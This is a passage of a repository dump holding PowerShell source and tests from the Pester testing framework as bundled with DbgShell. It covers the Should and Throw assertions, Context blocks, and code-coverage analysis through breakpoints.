as the expected message' { $unexpectedErrorMessage = 'unexpected' $expectedErrorMessage = 'some expected message' Set-Content -Path $testScriptPath -Value "throw '$unexpectedErrorMessage'" PesterThrow { & $testScriptPath } $expectedErrorMessage > $null $result = NotPesterThrowFailureMessage $unexpectedErrorMessage $expectedErrorMessage $result | Should Match "^Expected: the expression not to throw an exception with message {$expectedErrorMessage}, an exception was raised, message was {$unexpectedErrorMessage}`n from $([RegEx]::Escape($testScriptPath)):\d+ char:\d+" } It 'returns true if the actual message is the same as the expected message' { Set-Content -Path $testScriptPath -Value "throw 'error message'" PesterThrow { & $testScriptPath } > $null $result = NotPesterThrowFailureMessage 'error message' $result | Should Match "^Expected: the expression not to throw an exception. Message was {error message}`n from $([RegEx]::Escape($testScriptPath)):\d+ char:\d+" } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/PesterThrow.ps1 ================================================ $ActualExceptionMessage = "" $ActualExceptionWasThrown = $false # because this is a script block, the user will have to # wrap the code they want to assert on in { } function PesterThrow([scriptblock] $script, $expectedErrorMessage) { if ($null -eq $script) { throw (New-Object -TypeName ArgumentNullException -ArgumentList "script","Scriptblock not found. Input to 'Throw' and 'Not Throw' must be enclosed in curly braces.") } $Script:ActualExceptionMessage = "" $Script:ActualExceptionWasThrown = $false try { # Redirect to $null so script output does not enter the pipeline & $script > $null } catch { $Script:ActualExceptionWasThrown = $true $Script:ActualExceptionMessage = $_.Exception.Message $Script:ActualExceptionLine = Get-ExceptionLineInfo $_.InvocationInfo } if ($ActualExceptionWasThrown) { return Get-DoMessagesMatch $ActualExceptionMessage $expectedErrorMessage } return $false } function Get-DoMessagesMatch($value, $expected) { if ($expected -eq "") { return $false } return $value.Contains($expected) } function Get-ExceptionLineInfo($info) { # $info.PositionMessage has a leading blank line that we need to account for in PowerShell 2.0 $positionMessage = $info.PositionMessage -split '\r?\n' -match '\S' -join "`r`n" return ($positionMessage -replace "^At ","from ") } function PesterThrowFailureMessage($value, $expected) { if ($expected) { return "Expected: the expression to throw an exception with message {{{0}}}, an exception was {2}raised, message was {{{1}}}`n {3}" -f $expected, $ActualExceptionMessage,(@{$true="";$false="not "}[$ActualExceptionWasThrown]),($ActualExceptionLine -replace "`n","`n ") } else { return "Expected: the expression to throw an exception" } } function NotPesterThrowFailureMessage($value, $expected) { if ($expected) { return "Expected: the expression not to throw an exception with message {{{0}}}, an exception was {2}raised, message was {{{1}}}`n {3}" -f $expected, $ActualExceptionMessage,(@{$true="";$false="not "}[$ActualExceptionWasThrown]),($ActualExceptionLine -replace "`n","`n ") } else { return "Expected: the expression not to throw an exception. Message was {{{0}}}`n {1}" -f $ActualExceptionMessage,($ActualExceptionLine -replace "`n","`n ") } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/Set-TestInconclusive.ps1 ================================================ function New-InconclusiveErrorRecord ([string] $Message, [string] $File, [string] $Line, [string] $LineText) { $exception = New-Object Exception $Message $errorID = 'PesterTestInconclusive' $errorCategory = [Management.Automation.ErrorCategory]::InvalidResult # we use ErrorRecord.TargetObject to pass structured information about the error to a reporting system. $targetObject = @{Message = $Message; File = $File; Line = $Line; LineText = $LineText} $errorRecord = New-Object Management.Automation.ErrorRecord $exception, $errorID, $errorCategory, $targetObject return $errorRecord } function Set-TestInconclusive { param ( [string] $Message ) Assert-DescribeInProgress -CommandName Set-TestInconclusive $lineText = $MyInvocation.Line.TrimEnd("`n") $line = $MyInvocation.ScriptLineNumber $file = $MyInvocation.ScriptName throw ( New-InconclusiveErrorRecord -Message $Message -File $file -Line $line -LineText $lineText) } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/Should.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "Parse-ShouldArgs" { It "sanitizes assertions functions" { $parsedArgs = Parse-ShouldArgs TestFunction $parsedArgs.AssertionMethod | Should Be PesterTestFunction } It "works with strict mode when using 'switch' style tests" { Set-StrictMode -Version Latest { throw 'Test' } | Should Throw } Context "for positive assertions" { $parsedArgs = Parse-ShouldArgs testMethod, 1 It "gets the expected value from the 2nd argument" { $ParsedArgs.ExpectedValue | Should Be 1 } It "marks the args as a positive assertion" { $ParsedArgs.PositiveAssertion | Should Be $true } } Context "for negative assertions" { $parsedArgs = Parse-ShouldArgs Not, testMethod, 1 It "gets the expected value from the third argument" { $ParsedArgs.ExpectedValue | Should Be 1 } It "marks the args as a negative assertion" { $ParsedArgs.PositiveAssertion | Should Be $false } } Context "for the throw assertion" { $parsedArgs = Parse-ShouldArgs Throw It "translates the Throw assertion to PesterThrow" { $ParsedArgs.AssertionMethod | Should Be PesterThrow } } } Describe "Get-TestResult" { Context "for positive assertions" { function PesterTest { return $true } $shouldArgs = Parse-ShouldArgs Test It "returns false if the test returns true" { Get-TestResult $shouldArgs | Should Be $false } } Context "for negative assertions" { function PesterTest { return $false } $shouldArgs = Parse-ShouldArgs Not, Test It "returns false if the test returns false" { Get-TestResult $shouldArgs | Should Be $false } } } Describe "Get-FailureMessage" { Context "for positive assertions" { function PesterTestFailureMessage($v, $e) { return "slime $e $v" } $shouldArgs = Parse-ShouldArgs Test, 1 It "should return the positive assertion failure message" { Get-FailureMessage $shouldArgs 2 | Should Be "slime 1 2" } } Context "for negative assertions" { function NotPesterTestFailureMessage($v, $e) { return "not slime $e $v" } $shouldArgs = Parse-ShouldArgs Not, Test, 1 It "should return the negative assertion failure message" { Get-FailureMessage $shouldArgs 2 | Should Be "not slime 1 2" } } } Describe -Tag "Acceptance" "Should" { It "can use the Be assertion" { 1 | Should Be 1 } It "can use the Not Be assertion" { 1 | Should Not Be 2 } It "can use the BeNullOrEmpty assertion" { $null | Should BeNullOrEmpty @() | Should BeNullOrEmpty "" | Should BeNullOrEmpty } It "can use the Not BeNullOrEmpty assertion" { @("foo") | Should Not BeNullOrEmpty "foo" | Should Not BeNullOrEmpty " " | Should Not BeNullOrEmpty @(1,2,3) | Should Not BeNullOrEmpty 12345 | Should Not BeNullOrEmpty $item1 = New-Object PSObject -Property @{Id=1; Name="foo"} $item2 = New-Object PSObject -Property @{Id=2; Name="bar"} @($item1, $item2) | Should Not BeNullOrEmpty } It "can handle exception thrown assertions" { { foo } | Should Throw } It "can handle exception should not be thrown assertions" { { $foo = 1 } | Should Not Throw } It "can handle Exist assertion" { $TestDrive | Should Exist } It "can handle the Match assertion" { "abcd1234" | Should Match "d1" } It "can test for file contents" { Setup -File "test.foo" "expected text" "$TestDrive\test.foo" | Should Contain "expected text" } It "ensures all assertion functions provide failure messages" { $assertionFunctions = @("PesterBe", "PesterThrow", "PesterBeNullOrEmpty", "PesterExist", "PesterMatch", "PesterContain") $assertionFunctions | % { "function:$($_)FailureMessage" | Should Exist "function:Not$($_)FailureMessage" | Should Exist } } # TODO understand the purpose of this test, perhaps some better wording It "can process functions with empty output as input" { function ReturnNothing {} # TODO figure out why this is the case if ($PSVersionTable.PSVersion -eq "2.0") { { $(ReturnNothing) | Should Not BeNullOrEmpty } | Should Not Throw } else { { $(ReturnNothing) | Should Not BeNullOrEmpty } | Should Throw } } It 'All failure message functions are present' { $assertionFunctions = Get-Command -CommandType Function -Module Pester | Select-Object -ExpandProperty Name | Where-Object { $_ -like 'Pester*' -and $_ -notlike '*FailureMessage' } $missingFunctions = @( foreach ($assertionFunction in $assertionFunctions) { $positiveFailureMessage = "${assertionFunction}FailureMessage" $negativeFailureMessage = "Not${assertionFunction}FailureMessage" if (-not (Test-Path function:$positiveFailureMessage)) { $positiveFailureMessage } if (-not (Test-Path function:$negativeFailureMessage)) { $negativeFailureMessage } } ) [string]$missingFunctions | Should BeNullOrEmpty } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/Should.ps1 ================================================ function Parse-ShouldArgs([array] $shouldArgs) { if ($null -eq $shouldArgs) { $shouldArgs = @() } $parsedArgs = @{ PositiveAssertion = $true ExpectedValue = $null } $assertionMethodIndex = 0 $expectedValueIndex = 1 if ($shouldArgs.Count -gt 0 -and $shouldArgs[0].ToLower() -eq "not") { $parsedArgs.PositiveAssertion = $false $assertionMethodIndex += 1 $expectedValueIndex += 1 } if ($assertionMethodIndex -lt $shouldArgs.Count) { $parsedArgs.AssertionMethod = "Pester$($shouldArgs[$assertionMethodIndex])" } else { throw 'You cannot call Should without specifying an assertion method.' } if ($expectedValueIndex -lt $shouldArgs.Count) { $parsedArgs.ExpectedValue = $shouldArgs[$expectedValueIndex] } return $parsedArgs } function Get-TestResult($shouldArgs, $value) { $assertionMethod = $shouldArgs.AssertionMethod $command = & $SafeCommands['Get-Command'] $assertionMethod -CommandType Function -ErrorAction $script:IgnoreErrorPreference if ($null -eq $command) { $assertionMethod = $assertionMethod -replace '^Pester' throw "'$assertionMethod' is not a valid Should operator." } $testResult = (& $assertionMethod $value $shouldArgs.ExpectedValue) if ($shouldArgs.PositiveAssertion) { return -not $testResult } return $testResult } function Get-FailureMessage($shouldArgs, $value) { $failureMessageFunction = "$($shouldArgs.AssertionMethod)FailureMessage" if (-not $shouldArgs.PositiveAssertion) { $failureMessageFunction = "Not$failureMessageFunction" } return (& $failureMessageFunction $value $shouldArgs.ExpectedValue) } function New-ShouldErrorRecord ([string] $Message, [string] $File, [string] $Line, [string] $LineText) { $exception = & $SafeCommands['New-Object'] Exception $Message $errorID = 'PesterAssertionFailed' $errorCategory = [Management.Automation.ErrorCategory]::InvalidResult # we use ErrorRecord.TargetObject to pass structured information about the error to a reporting system. $targetObject = @{Message = $Message; File = $File; Line = $Line; LineText = $LineText} $errorRecord = & $SafeCommands['New-Object'] Management.Automation.ErrorRecord $exception, $errorID, $errorCategory, $targetObject return $errorRecord } function Should { <# .SYNOPSIS Should is a keyword what is used to define an assertion inside It block. .DESCRIPTION Should is a keyword what is used to define an assertion inside the It block. Should provides assertion methods for verify assertion e.g. comparing objects. If assertion is not met the test fails and an exception is throwed up. Should can be used more than once in the It block if more than one assertion need to be verified. Each Should keywords need to be located in a new line. Test will be passed only when all assertion will be met (logical conjuction). .LINK about_Should about_Pester #> begin { Assert-DescribeInProgress -CommandName Should $parsedArgs = Parse-ShouldArgs $args } end { $input.MoveNext() do { $value = $input.Current $testFailed = Get-TestResult $parsedArgs $value if ($testFailed) { $lineText = $MyInvocation.Line.TrimEnd("`n") $line = $MyInvocation.ScriptLineNumber $file = $MyInvocation.ScriptName $failureMessage = Get-FailureMessage $parsedArgs $value throw ( New-ShouldErrorRecord -Message $failureMessage -File $file -Line $line -LineText $lineText) } } until ($input.MoveNext() -eq $false) } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Assertions/Test-Assertion.ps1 ================================================ function Test-PositiveAssertion($result) { if (-not $result) { throw "Expecting expression to pass, but it failed" } } function Test-NegativeAssertion($result) { if ($result) { throw "Expecting expression to pass, but it failed" } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/BreakAndContinue.Tests.ps1 ================================================ Describe 'Clean handling of break and continue' { # If this test 'fails', it'll just cause most of the rest of the tests to never execute (and we won't see any actual failures.) # The CI job monitors metrics, though, and will fail the build if the number of tests drops too much. Context 'Break' { break } Context 'Continue' { continue } It 'Did not abort the whole test run' { $null = $null } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Context.Tests.ps1 ================================================ Set-StrictMode -Version Latest Describe 'Testing Context' { It 'Has a non-mandatory fixture parameter which throws the proper error message if missing' { $command = Get-Command Context -Module Pester $command | Should Not Be $null $parameter = $command.Parameters['Fixture'] $parameter | Should Not Be $null # Some environments (Nano/CoreClr) don't have all the type extensions $attribute = $parameter.Attributes | Where-Object { $_ -is [System.Management.Automation.ParameterAttribute] } $isMandatory = $null -ne $attribute -and $attribute.Mandatory $isMandatory | Should Be $false { Context Bogus } | Should Throw 'No test script block is provided' } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Context.ps1 ================================================ function Context { <# .SYNOPSIS Provides logical grouping of It blocks within a single Describe block. .DESCRIPTION Provides logical grouping of It blocks within a single Describe block. Any Mocks defined inside a Context are removed at the end of the Context scope, as are any files or folders added to the TestDrive during the Context block's execution. Any BeforeEach or AfterEach blocks defined inside a Context also only apply to tests within that Context. .PARAMETER Name The name of the Context. This is a phrase describing a set of tests within a Describe block. .PARAMETER Fixture Script that is executed. This may include setup specific to the context and one or more It blocks that validate the expected outcomes. .EXAMPLE function Add-Numbers($a, $b) { return $a + $b } Describe "Add-Numbers" { Context "when root does not exist" { It "..." { ... } } Context "when root does exist" { It "..." { ... } It "..." { ... } It "..." { ... } } } .LINK Describe It BeforeEach AfterEach about_Should about_Mocking about_TestDrive #> param( [Parameter(Mandatory = $true)] [string] $Name, [ValidateNotNull()] [ScriptBlock] $Fixture = $(Throw "No test script block is provided. (Have you put the open curly brace on the next line?)") ) Assert-DescribeInProgress -CommandName Context $Pester.EnterContext($Name ) $TestDriveContent = Get-TestDriveChildItem $Pester.CurrentContext | Write-Context try { Add-SetupAndTeardown -ScriptBlock $Fixture Invoke-TestGroupSetupBlocks -Scope $pester.Scope do { $null = & $Fixture } until ($true) } catch { $firstStackTraceLine = $_.InvocationInfo.PositionMessage.Trim() -split '\r?\n' | & $SafeCommands['Select-Object'] -First 1 $Pester.AddTestResult('Error occurred in Context block', "Failed", $null, $_.Exception.Message, $firstStackTraceLine, $null, $null, $_) $Pester.TestResult[-1] | Write-PesterResult } finally { Invoke-TestGroupTeardownBlocks -Scope $pester.Scope Clear-SetupAndTeardown Clear-TestDrive -Exclude ($TestDriveContent | & $SafeCommands['Select-Object'] -ExpandProperty FullName) Exit-MockScope $Pester.LeaveContext() } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Coverage.Tests.ps1 ================================================ if ($PSVersionTable.PSVersion.Major -le 2) { return } InModuleScope Pester { Describe 'Code Coverage Analysis' { $root = (Get-PSDrive TestDrive).Root $null = New-Item -Path $root\TestScript.ps1 -ItemType File -ErrorAction SilentlyContinue Set-Content -Path $root\TestScript.ps1 -Value @' function FunctionOne { function NestedFunction { 'I am the nested function.' 'I get fully executed.' } if ($true) { 'I am functionOne' NestedFunction } } function FunctionTwo { 'I am function two. I never get called.' } FunctionOne '@ Context 'Entire file' { $testState = New-PesterState -Path $root # Path deliberately duplicated to make sure the code doesn't produce multiple breakpoints for the same commands Enter-CoverageAnalysis -CodeCoverage "$root\TestScript.ps1", "$root\TestScript.ps1" -PesterState $testState It 'Has the proper number of breakpoints defined' { $testState.CommandCoverage.Count | Should Be 7 } $null = & "$root\TestScript.ps1" $coverageReport = Get-CoverageReport -PesterState $testState It 'Reports the proper number of executed commands' { $coverageReport.NumberOfCommandsExecuted | Should Be 6 } It 'Reports the proper number of analyzed commands' { $coverageReport.NumberOfCommandsAnalyzed | Should Be 7 } It 'Reports the proper number of analyzed files' { $coverageReport.NumberOfFilesAnalyzed | Should Be 1 } It 'Reports the proper number of missed commands' { $coverageReport.MissedCommands.Count | Should Be 1 } It 'Reports the correct missed command' { $coverageReport.MissedCommands[0].Command | Should Be "'I am function two. I never get called.'" } It 'Reports the proper number of hit commands' { $coverageReport.HitCommands.Count | Should Be 6 } It 'Reports the correct hit command' { $coverageReport.HitCommands[0].Command | Should Be "'I am the nested function.'" } Exit-CoverageAnalysis -PesterState $testState } Context 'Single function with missed commands' { $testState = New-PesterState -Path $root Enter-CoverageAnalysis -CodeCoverage @{Path = "$root\TestScript.ps1"; Function = 'FunctionTwo'} -PesterState $testState It 'Has the proper number of breakpoints defined' { $testState.CommandCoverage.Count | Should Be 1 } $null = & "$root\TestScript.ps1" $coverageReport = Get-CoverageReport -PesterState $testState It 'Reports the proper number of executed commands' { $coverageReport.NumberOfCommandsExecuted | Should Be 0 } It 'Reports the proper number of analyzed commands' { $coverageReport.NumberOfCommandsAnalyzed | Should Be 1 } It 'Reports the proper number of missed commands' { $coverageReport.MissedCommands.Count | Should Be 1 } It 'Reports the correct missed command' { $coverageReport.MissedCommands[0].Command | Should Be "'I am function two. I never get called.'" } It 'Reports the proper number of hit commands' { $coverageReport.HitCommands.Count | Should Be 0 } Exit-CoverageAnalysis -PesterState $testState } Context 'Single function with no missed commands' { $testState = New-PesterState -Path $root Enter-CoverageAnalysis -CodeCoverage @{Path = "$root\TestScript.ps1"; Function = 'FunctionOne'} -PesterState $testState It 'Has the proper number of breakpoints defined' { $testState.CommandCoverage.Count | Should Be 5 } $null = & "$root\TestScript.ps1" $coverageReport = Get-CoverageReport -PesterState $testState It 'Reports the proper number of executed commands' { $coverageReport.NumberOfCommandsExecuted | Should Be 5 } It 'Reports the proper number of analyzed commands' { $coverageReport.NumberOfCommandsAnalyzed | Should Be 5 } It 'Reports the proper number of missed commands' { $coverageReport.MissedCommands.Count | Should Be 0 } It 'Reports the proper number of hit commands' { $coverageReport.HitCommands.Count | Should Be 5 } It 'Reports the correct hit command' { $coverageReport.HitCommands[0].Command | Should Be "'I am the nested function.'" } Exit-CoverageAnalysis -PesterState $testState } Context 'Range of lines' { $testState = New-PesterState -Path $root Enter-CoverageAnalysis -CodeCoverage @{Path = "$root\TestScript.ps1"; StartLine = 11; EndLine = 12 } -PesterState $testState It 'Has the proper number of breakpoints defined' { $testState.CommandCoverage.Count | Should Be 2 } $null = & "$root\TestScript.ps1" $coverageReport = Get-CoverageReport -PesterState $testState It 'Reports the proper number of executed commands' { $coverageReport.NumberOfCommandsExecuted | Should Be 2 } It 'Reports the proper number of analyzed commands' { $coverageReport.NumberOfCommandsAnalyzed | Should Be 2 } It 'Reports the proper number of missed commands' { $coverageReport.MissedCommands.Count | Should Be 0 } It 'Reports the proper number of hit commands' { $coverageReport.HitCommands.Count | Should Be 2 } It 'Reports the correct hit command' { $coverageReport.HitCommands[0].Command | Should Be "'I am functionOne'" } Exit-CoverageAnalysis -PesterState $testState } Context 'Wildcard resolution' { $testState = New-PesterState -Path $root Enter-CoverageAnalysis -CodeCoverage @{Path = "$root\*.ps1"; Function = '*' } -PesterState $testState It 'Has the proper number of breakpoints defined' { $testState.CommandCoverage.Count | Should Be 6 } $null = & "$root\TestScript.ps1" $coverageReport = Get-CoverageReport -PesterState $testState It 'Reports the proper number of executed commands' { $coverageReport.NumberOfCommandsExecuted | Should Be 5 } It 'Reports the proper number of analyzed commands' { $coverageReport.NumberOfCommandsAnalyzed | Should Be 6 } It 'Reports the proper number of analyzed files' { $coverageReport.NumberOfFilesAnalyzed | Should Be 1 } It 'Reports the proper number of missed commands' { $coverageReport.MissedCommands.Count | Should Be 1 } It 'Reports the correct missed command' { $coverageReport.MissedCommands[0].Command | Should Be "'I am function two. I never get called.'" } It 'Reports the proper number of hit commands' { $coverageReport.HitCommands.Count | Should Be 5 } It 'Reports the correct hit command' { $coverageReport.HitCommands[0].Command | Should Be "'I am the nested function.'" } Exit-CoverageAnalysis -PesterState $testState } } Describe 'Stripping common parent paths' { $paths = @( Normalize-Path 'C:\Common\Folder\UniqueSubfolder1/File.ps1' Normalize-Path 'C:\Common\Folder\UniqueSubfolder2/File2.ps1' Normalize-Path 'C:\Common\Folder\UniqueSubfolder3/File3.ps1' ) $commonPath = Get-CommonParentPath -Path $paths $expectedCommonPath = Normalize-Path 'C:\Common/Folder' It 'Identifies the correct parent path' { $commonPath | Should Be $expectedCommonPath } $expectedRelativePath = Normalize-Path 'UniqueSubfolder1/File.ps1' $relativePath = Get-RelativePath -Path $paths[0] -RelativeTo $commonPath It 'Strips the common path correctly' { $relativePath | Should Be $expectedRelativePath } } if ((Get-Module -ListAvailable PSDesiredStateConfiguration) -and $PSVersionTable.PSVersion.Major -ge 4) { Describe 'Analyzing coverage of a DSC configuration' { $root = (Get-PSDrive TestDrive).Root $null = New-Item -Path $root\TestScriptWithConfiguration.ps1 -ItemType File -ErrorAction SilentlyContinue Set-Content -Path $root\TestScriptWithConfiguration.ps1 -Value @' $line1 = $true # Triggers breakpoint $line2 = $true # Triggers breakpoint configuration MyTestConfig # does NOT trigger breakpoint { Node localhost # Triggers breakpoint { WindowsFeature XPSViewer # Triggers breakpoint { Name = 'XPS-Viewer' # does NOT trigger breakpoint Ensure = 'Present' # does NOT trigger breakpoint } } return # does NOT trigger breakpoint $doesNotExecute = $true # Triggers breakpoint } $line3 = $true # Triggers breakpoint return # does NOT trigger breakpoint $doesnotexecute = $true # Triggers breakpoint '@ $testState = New-PesterState -Path $root Enter-CoverageAnalysis -CodeCoverage "$root\TestScriptWithConfiguration.ps1" -PesterState $testState It 'Has the proper number of breakpoints defined' { $testState.CommandCoverage.Count | Should Be 7 } $null = . "$root\TestScriptWithConfiguration.ps1" $coverageReport = Get-CoverageReport -PesterState $testState It 'Reports the proper number of missed commands before running the configuration' { $coverageReport.MissedCommands.Count | Should Be 4 } MyTestConfig -OutputPath $root $coverageReport = Get-CoverageReport -PesterState $testState It 'Reports the proper number of missed commands after running the configuration' { $coverageReport.MissedCommands.Count | Should Be 2 } Exit-CoverageAnalysis -PesterState $testState } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/Coverage.ps1 ================================================ if ($PSVersionTable.PSVersion.Major -le 2) { function Exit-CoverageAnalysis { } function Get-CoverageReport { } function Show-CoverageReport { } function Enter-CoverageAnalysis { param ( $CodeCoverage ) if ($CodeCoverage) { & $SafeCommands['Write-Error'] 'Code coverage analysis requires PowerShell 3.0 or later.' } } return } function Enter-CoverageAnalysis { [CmdletBinding()] param ( [object[]] $CodeCoverage, [object] $PesterState ) $coverageInfo = foreach ($object in $CodeCoverage) { Get-CoverageInfoFromUserInput -InputObject $object } $PesterState.CommandCoverage = @(Get-CoverageBreakpoints -CoverageInfo $coverageInfo) } function Exit-CoverageAnalysis { param ([object] $PesterState) & $SafeCommands['Set-StrictMode'] -Off $breakpoints = @($PesterState.CommandCoverage.Breakpoint) -ne $null if ($breakpoints.Count -gt 0) { & $SafeCommands['Remove-PSBreakpoint'] -Breakpoint $breakpoints } } function Get-CoverageInfoFromUserInput { param ( [Parameter(Mandatory = $true)] [object] $InputObject ) if ($InputObject -is [System.Collections.IDictionary]) { $unresolvedCoverageInfo = Get-CoverageInfoFromDictionary -Dictionary $InputObject } else { $unresolvedCoverageInfo = New-CoverageInfo -Path ([string]$InputObject) } Resolve-CoverageInfo -UnresolvedCoverageInfo $unresolvedCoverageInfo } function New-CoverageInfo { param ([string] $Path, [string] $Function = $null, [int] $StartLine = 0, [int] $EndLine = 0) return [pscustomobject]@{ Path = $Path Function = $Function StartLine = $StartLine EndLine = $EndLine } } function Get-CoverageInfoFromDictionary { param ([System.Collections.IDictionary] $Dictionary) [string] $path = Get-DictionaryValueFromFirstKeyFound -Dictionary $Dictionary -Key 'Path', 'p' if ([string]::IsNullOrEmpty($path)) { throw "Coverage value '$Dictionary' is missing required Path key." } $startLine = Get-DictionaryValueFromFirstKeyFound -Dictionary $Dictionary -Key 'StartLine', 'Start', 's' $endLine = Get-DictionaryValueFromFirstKeyFound -Dictionary $Dictionary -Key 'EndLine', 'End', 'e' [string] $function = Get-DictionaryValueFromFirstKeyFound -Dictionary $Dictionary -Key 'Function', 'f' $startLine = Convert-UnknownValueToInt -Value $startLine -DefaultValue 0 $endLine = Convert-UnknownValueToInt -Value $endLine -DefaultValue 0 return New-CoverageInfo -Path $path -StartLine $startLine -EndLine $endLine -Function $function } function Convert-UnknownValueToInt { param ([object] $Value, [int] $DefaultValue = 0) try { return [int] $Value } catch { return $DefaultValue } } function Resolve-CoverageInfo { param ([psobject] $UnresolvedCoverageInfo) $path = $UnresolvedCoverageInfo.Path try { $resolvedPaths = & $SafeCommands['Resolve-Path'] -Path $path -ErrorAction Stop } catch { & $SafeCommands['Write-Error'] "Could not resolve coverage path '$path': $($_.Exception.Message)" return } $filePaths = foreach ($resolvedPath in $resolvedPaths) { $item = & $SafeCommands['Get-Item'] -LiteralPath $resolvedPath if ($item -is [System.IO.FileInfo] -and ('.ps1','.psm1') -contains $item.Extension) { $item.FullName } elseif (-not $item.PsIsContainer) { & $SafeCommands['Write-Warning'] "CodeCoverage path '$path' resolved to a non-PowerShell file '$($item.FullName)'; this path will not be part of the coverage report." } } $params = @{ StartLine = $UnresolvedCoverageInfo.StartLine EndLine = $UnresolvedCoverageInfo.EndLine Function = $UnresolvedCoverageInfo.Function } foreach ($filePath in $filePaths) { $params['Path'] = $filePath New-CoverageInfo @params } } function Get-CoverageBreakpoints { [CmdletBinding()] param ( [object[]] $CoverageInfo ) $fileGroups = @($CoverageInfo | & $SafeCommands['Group-Object'] -Property Path) foreach ($fileGroup in $fileGroups) { & $SafeCommands['Write-Verbose'] "Initializing code coverage analysis for file '$($fileGroup.Name)'" $totalCommands = 0 $analyzedCommands = 0 :commandLoop foreach ($command in Get-CommandsInFile -Path $fileGroup.Name) { $totalCommands++ foreach ($coverageInfoObject in $fileGroup.Group) { if (Test-CoverageOverlapsCommand -CoverageInfo $coverageInfoObject -Command $command) { $analyzedCommands++ New-CoverageBreakpoint -Command $command continue commandLoop } } } & $SafeCommands['Write-Verbose'] "Analyzing $analyzedCommands of $totalCommands commands in file '$($fileGroup.Name)' for code coverage" } } function Get-CommandsInFile { param ([string] $Path) $errors = $null $tokens = $null $ast = [System.Management.Automation.Language.Parser]::ParseFile($Path, [ref] $tokens, [ref] $errors) if ($PSVersionTable.PSVersion.Major -ge 5) { # In PowerShell 5.0, dynamic keywords for DSC configurations are represented by the DynamicKeywordStatementAst # class. They still trigger breakpoints, but are not a child class of CommandBaseAst anymore. $predicate = { $args[0] -is [System.Management.Automation.Language.DynamicKeywordStatementAst] -or $args[0] -is [System.Management.Automation.Language.CommandBaseAst] } } else { $predicate = { $args[0] -is [System.Management.Automation.Language.CommandBaseAst] } } $searchNestedScriptBlocks = $true $ast.FindAll($predicate, $searchNestedScriptBlocks) } function Test-CoverageOverlapsCommand { param ([object] $CoverageInfo, [System.Management.Automation.Language.Ast] $Command) if ($CoverageInfo.Function) { Test-CommandInsideFunction -Command $Command -Function $CoverageInfo.Function } else { Test-CoverageOverlapsCommandByLineNumber @PSBoundParameters } } function Test-CommandInsideFunction { param ([System.Management.Automation.Language.Ast] $Command, [string] $Function) for ($ast = $Command; $null -ne $ast; $ast = $ast.Parent) { $functionAst = $ast -as [System.Management.Automation.Language.FunctionDefinitionAst] if ($null -ne $functionAst -and $functionAst.Name -like $Function) { return $true } } return $false } function Test-CoverageOverlapsCommandByLineNumber { param ([object] $CoverageInfo, [System.Management.Automation.Language.Ast] $Command) $commandStart = $Command.Extent.StartLineNumber $commandEnd = $Command.Extent.EndLineNumber $coverStart = $CoverageInfo.StartLine $coverEnd = $CoverageInfo.EndLine # An EndLine value of 0 means to cover the entire rest of the file from StartLine # (which may also be 0) if ($coverEnd -le 0) { $coverEnd = [int]::MaxValue } return (Test-RangeContainsValue -Value $commandStart -Min $coverStart -Max $coverEnd) -or (Test-RangeContainsValue -Value $commandEnd -Min $coverStart -Max $coverEnd) } function Test-RangeContainsValue { param ([int] $Value, [int] $Min, [int] $Max) return $Value -ge $Min -and $Value -le $Max } function New-CoverageBreakpoint { param ([System.Management.Automation.Language.Ast] $Command) if (IsIgnoredCommand -Command $Command) { return } $params = @{ Script = $Command.Extent.File Line = $Command.Extent.StartLineNumber Column = $Command.Extent.StartColumnNumber Action = { } } $breakpoint = & $SafeCommands['Set-PSBreakpoint'] @params [pscustomobject] @{ File = $Command.Extent.File Function = Get-ParentFunctionName -Ast $Command Line = $Command.Extent.StartLineNumber Command = Get-CoverageCommandText -Ast $Command Breakpoint = $breakpoint } } function IsIgnoredCommand { param ([System.Management.Automation.Language.Ast] $Command) if (-not $Command.Extent.File) { # This can happen if the script contains "configuration" or any similarly implemented # dynamic keyword. PowerShell modifies the script code and reparses it in memory, leading # to AST elements with no File in their Extent. return $true } if ($PSVersionTable.PSVersion.Major -ge 4) { if ($Command.Extent.Text -eq 'Configuration') { # More DSC voodoo. Calls to "configuration" generate breakpoints, but their HitCount # stays zero (even though they are executed.) For now, ignore them, unless we can come # up with a better solution. return $true } if (IsChildOfHashtableDynamicKeyword -Command $Command) { # The lines inside DSC resource declarations don't trigger their breakpoints when executed, # just like the "configuration" keyword itself. I don't know why, at this point, but just like # configuration, we'll ignore it so it doesn't clutter up the coverage analysis with useless junk. return $true } } if (IsClosingLoopCondition -Command $Command) { # For some reason, the closing expressions of do/while and do/until loops don't trigger their breakpoints. # To avoid useless clutter, we'll ignore those lines as well. return $true } return $false } function IsChildOfHashtableDynamicKeyword { param ([System.Management.Automation.Language.Ast] $Command) for ($ast = $Command.Parent; $null -ne $ast; $ast = $ast.Parent) { if ($PSVersionTable.PSVersion.Major -ge 5) { # The ast behaves differently for DSC resources with version 5+. There's a new DynamicKeywordStatementAst class, # and they no longer are represented by CommandAst objects. if ($ast -is [System.Management.Automation.Language.DynamicKeywordStatementAst] -and $ast.CommandElements[-1] -is [System.Management.Automation.Language.HashtableAst]) { return $true } } else { if ($ast -is [System.Management.Automation.Language.CommandAst] -and $null -ne $ast.DefiningKeyword -and $ast.DefiningKeyword.BodyMode -eq [System.Management.Automation.Language.DynamicKeywordBodyMode]::Hashtable) { return $true } } } return $false } function IsClosingLoopCondition { param ([System.Management.Automation.Language.Ast] $Command) $ast = $Command while ($null -ne $ast.Parent) { if (($ast.Parent -is [System.Management.Automation.Language.DoWhileStatementAst] -or $ast.Parent -is [System.Management.Automation.Language.DoUntilStatementAst]) -and $ast.Parent.Condition -eq $ast) { return $true } $ast = $ast.Parent } return $false } function Get-ParentFunctionName { param ([System.Management.Automation.Language.Ast] $Ast) $parent = $Ast.Parent while ($null -ne $parent -and $parent -isnot [System.Management.Automation.Language.FunctionDefinitionAst]) { $parent = $parent.Parent } if ($null -eq $parent) { return '' } else { return $parent.Name } } function 